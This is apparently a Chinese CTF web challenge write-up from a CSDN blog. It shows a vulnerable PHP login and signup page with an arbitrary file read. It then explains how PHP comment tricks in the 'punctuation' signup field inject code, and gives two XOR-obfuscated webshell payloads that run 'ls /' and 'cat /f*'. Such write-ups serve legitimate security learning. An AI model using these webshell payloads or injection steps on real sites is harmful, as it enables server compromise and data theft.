  • <input id="tab-2" type="radio" name="tab" class="sign-up"><label for="tab-2" class="tab">Sign Uplabel>
  • <div class="login-form">
  • <form action="index.php" method="post">
  • <div class="sign-in-htm">
  • <div class="group">
  • <label for="user" class="label">Usernamelabel>
  • <input id="user" name="user" type="text" class="input">
  • div>
  • <div class="group">
  • <label for="pass" class="label">Passwordlabel>
  • <input id="pass" name="pass" type="password" class="input" data-type="password">
  • div>
  • <div class="group">
  • <input type="submit" class="button" value="Sign In">
  • div>
  • <div class="hr">div>
  • div>
  • form>
  • <form action="index.php" method="post">
  • <div class="sign-up-htm">
  • <div class="group">
  • <label for="user" class="label">Usernamelabel>
  • <input id="user" name="user" type="text" class="input">
  • div>
  • <div class="group">
  • <label for="pass" class="label">Passwordlabel>
  • <input id="pass" name="pass" type="password" class="input" data-type="password">
  • div>
  • <div class="group">
  • <label for="pass" class="label">Your Websitelabel>
  • <input id="pass" name="website" type="text" class="input">
  • div>
  • <div class="group">
  • <label for="pass" class="label">Your Punctuationlabel>
  • <input id="pass" name="punctuation" type="text" class="input">
  • div>
  • <div class="group">
  • <input type="submit" class="button" value="Sign Up">
  • div>
  • <div class="hr">div>
  • <div class="foot-lnk">
  • <label for="tab-1">Already Member?a>
  • div>
  • div>
  • form>
  • div>
  • div>
  • div>
  • div>
  • body>
  • html>
  • ">
  • error_reporting(0);
  • $image = (string)$_GET['image'];
  • echo '
    ';
  • ?>
  • ">
  • 任意读取文件由于不知道flag的名字所以没办法直接读取。要另辟蹊径

    漫长的代码审计:

    两处关键代码:

    index.php

    template.html

    这两个地方,由于其他都过滤的比较多,只有punctuation过滤的最不严谨,而且限制长度也最长,但是__PUNC__再外面,我们无法利用punctuation这个参数构造php可执行代码。

    但是利用php代码的注释特性我们可以利用这个代码。

    #示例

    ......

    ......

    ......

    ......

    /*

    ?>

    */

    恶意代码;

    这样就可以把恶意代码带到php文件里面

    username: 1/*

    passwd: 任意

    website: 任意

    Punctuation: */); PAYLOAD /*

    payload:

    第一种:

    $_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___=$$__;echo $___;$_($___['!']);

    第二种:

    @$_%2b%2b;$__='#./|{'^'|~`//';${$__}[!$_](${$__}[$_]);

    用第一种做演示:

    登陆后,在url输入!=ls /

    查看源码最下面,得到这些,再cat /f*

  • 相关阅读:
    足底筋膜炎症状及治疗方法
    Ubuntu20.04环境下MySQL8.0.30的 用户管理,设置修改密码,密码过期策略,权限管理,角色管理
    java高级:注解
    数据库配置mysql5.7
    最新下载:Paragon NTFS for Mac 15【软件附加安装教程】
    新能源充电桩工业4G路由器应用,推动绿色出行,响应环保理念
    《数据结构:c语言版》(严蔚敏)知识点整合
    excel管理接口测试用例
    霸占GitHub热榜的《Spring Cloud Alibaba源码笔记》果然“威力极大”
    Maven插件之 maven-dependency-plugin 分析依赖复制文件
  • 原文地址:https://blog.csdn.net/qq_64201116/article/details/126451836